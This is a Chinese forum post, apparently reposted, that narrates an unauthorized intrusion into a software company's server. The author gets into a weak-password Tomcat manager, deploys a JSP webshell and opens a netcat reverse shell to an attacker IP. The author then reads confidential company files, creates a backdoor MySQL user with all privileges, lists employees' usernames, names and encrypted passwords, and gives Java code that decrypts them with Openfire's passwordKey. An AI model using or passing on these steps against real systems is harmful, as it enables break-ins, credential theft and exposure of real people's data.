首先要有切入点,那就是Tomcat/manager/html的管理员页面弱口令。
顺便科普一下,大家可以利用google hack来寻找tomcat页面
在浏览器中输入:intitle:Apache.Tomcat "Congratulations!"
大概意思是:用点号来分割title关键词,用冒号来匹配页面内容
当然如果/manager/html页面被删,或者管理员没有配置账号密码为可用,管理界面就不能访问。
上传Deploy一个JSP大马:
Linux提权必备过程--利用webshell执行命令反弹:
netcat源文件进行编译:
gcc xiaobo.c -o xiaobo
本地进行监听:
nc -vv -lp 12345
在JSP大马中进行反弹:
./xiaobo xx.xx.xx.xx 12345
注意:有时候会无法执行反弹,是因为文件没设置为可执行.那么就直接设置为全权限吧:
chmod 777 xiaobo
我们先收集一下系统的信息:
lsb_release -a
也就是说,我们要去找Ubuntu 12.04或者内核为3.2.0-38的exploit.
一般都是去exploit-db.com这个网站上找。
可惜很不幸的是,找了几个exploit都不行。
当然我们也可以找驱动或者第三方服务进行提权,反正我是没成功过.
继续收集服务器信息。用superscan扫描开放端口:
用metasploit尝试了一下FTP和SSH的exploit和弱口令。无果
用浏览器尝试了那几个高段位的端口,发现也有个tomcat(无弱口令),以及一个sea-file团队协作管理平台。
google sea-file之后,发现是国人开发的一款开源的"分布式文件同步技术"的网盘。
仔细研究了一下该工具的安装配置,使用sqlite的嵌入数据库。上微博询问了开发团队该工具保存用户账号密码的文件位置:ccnet/peerMgr/usermgr.db。结果是文件夹ccnet无权限访问,但我还是找到一个存放账户名的seahub.db,打开看了一下:
用上面的账号+弱口令+社工成功登陆:
可以看到公司内部正在开发,或者已经完成的合同,项目计划,设计书等。可以知道这个服务器是某软件公司的。这些东西应该都是机密- -:
先找找有没有漏洞上传什么的,看了一下开发语言: C/C++Python,吓尿了 - -。服务器也是自带的什么不认识的。所以放弃。权当收集信息用。
可以看到公司的成员列表和管理员:
继续社工:
找tomcat下的工程,寻找保存的mysql密码。成功利用root密码,webshell登录mysql,(当然这里有个插曲就是我用的webshell无法连接mysql,或者不支持show databases,show tables等这些操作,所以自己重新改了源码)
数据库连接失败 |
com.mysql.jdbc.exceptions.jdbc4.MySQLNonTransientConnectionException: Cannot load connection class because of underlying exception: 'java.lang.NumberFormatException: For input string: "3306;User=root;Password=testxx;DatabaseName=mysql"'. |
为了方便查看数据,就直接开启外链。这里再顺便科普一下:
为了保护服务器,我就不使用root外链。免得被不明黑阔批量扫描弱口令爆菊.
创建一个允许远程连接的用户hack,密码hack,赋予所有权限
CREATE USER hack IDENTIFIED BY 'hack';
grant all privileges on *.* to hack @"%" identified by "hack";
之后就用mysql workbench连接(开发人员专用哟~嘿嘿)
插曲:据说linux下的mysql可以利用system命令提权。我windows 命令行下远程连接mysql,尝试system user add命令失败。去mysql官方,查看官方文档,确实有system函数.BT5命令行下远程连接mysql,system user add成功,囧的是用户居然添加在我BT5上面。同学们都该知道mysql system函数的意思了吧?
回归正题:我现在要收集mysql数据库存的所有用户账号和密码,进一步来社工linux root密码进行远程ftp或者ssh操作。
解密了一些md5,基本都是弱口令。
亮点来了:openfire数据库。
看着名字我就觉得有点来头,谷歌之后得到:Openfire 是实时的基于WEB的即时消息传输平台,是原来的Jive Messenger
admin | de8d41e122591e3ac5dfabf41bb8ee186cb0ec963347ae71 | Administrator | |
caifei | 0db546455b7e6a8bd1905e34028ca31704ae5cf27a65e1c2 | 蔡飞 | |
chensong | e54b7b46c4862dd1ea159a174eb1e26d6b6c1fac89a5dc73 | 陈松 | |
liqiang | 4f21a0de9b6a32aadd0a6bd0cf53a82da6504bc85111556e | 李强 | |
liqing | 0d24c065be1fdd4db3dde16d39b8907f8248a8a4a7f84c75 | 李青 | |
liuhuayi | 5809dadd4631e859d995d93ff0587524f75c541ab55f23c6 | 刘华宜 | |
qiulibo | 8c14fda295def40ba10bcd9b78ee869ce5a9880eaa8c6eb6 | 邱李波 | |
xuliang | ba8dc396077d18e3a5683455a92d808adb06d8ac74f31fa3 | 徐亮 | |
zhangxin | b88349048d4b55b91f9a942652b89cf36d75cc2e8ba2cfd6 | 张欣 |
拿去cmd5上解密,无法识别加密类型。于是呼,本文的重点,openfire解密.
openfire也是开源的软件,密码采用的是自己设计的算法。
openfire提供二次开发。谷歌之后发现资料蛮多了。所以,我们就来搭个二次开发环境,利用openfire提供的解密类进行解密吧~
Openfire是通过org.jivesoftware.util.Blowfish.java实现的加密。
使用Blowfish的encryptString(String password)和decryptString(String encryptedString)两个方法执行加解密。
可new Blowfish(String passwordKey)需要passwordKey,上哪里找?
原来在openfire的数据库中有表ofproperty,其中就有passwordKey的值,这是openfire安装时自动生成的。
openfire每次自动生成数据库的时候这个属性都是不同的,所以如果数据库变化了,原来的用户信息导入是没有用的。
可以独立使用org.jivesoftware.util.Blowfish.java进行加解密操作。
在eclipse中新建java工程,在官网上找到org.jivesoftware.util.Blowfish.java类,导入工程。
再写个DecryPwd用来解密。
public class DecryPwd {
/**
* @param args
*/
public static void main(String[] args) {
// TODO Auto-generated method stub
String resultPWD = null;
String passWordKey = "566251afC9Lk39w"; //passwordKey,从openfire数据库中读取
Blowfish blowFish = new Blowfish(passWordKey); //根据加密key初始化
resultPWD = blowFish.decryptString("de8d41e122591e3ac5dfabf41bb8ee186cb0ec963347ae71");
System.out.println(resultPWD); //返回结果
}
}
运行成功解密!
接着就拿着账号密码去ssh啦。过程就到此。
转自习科论坛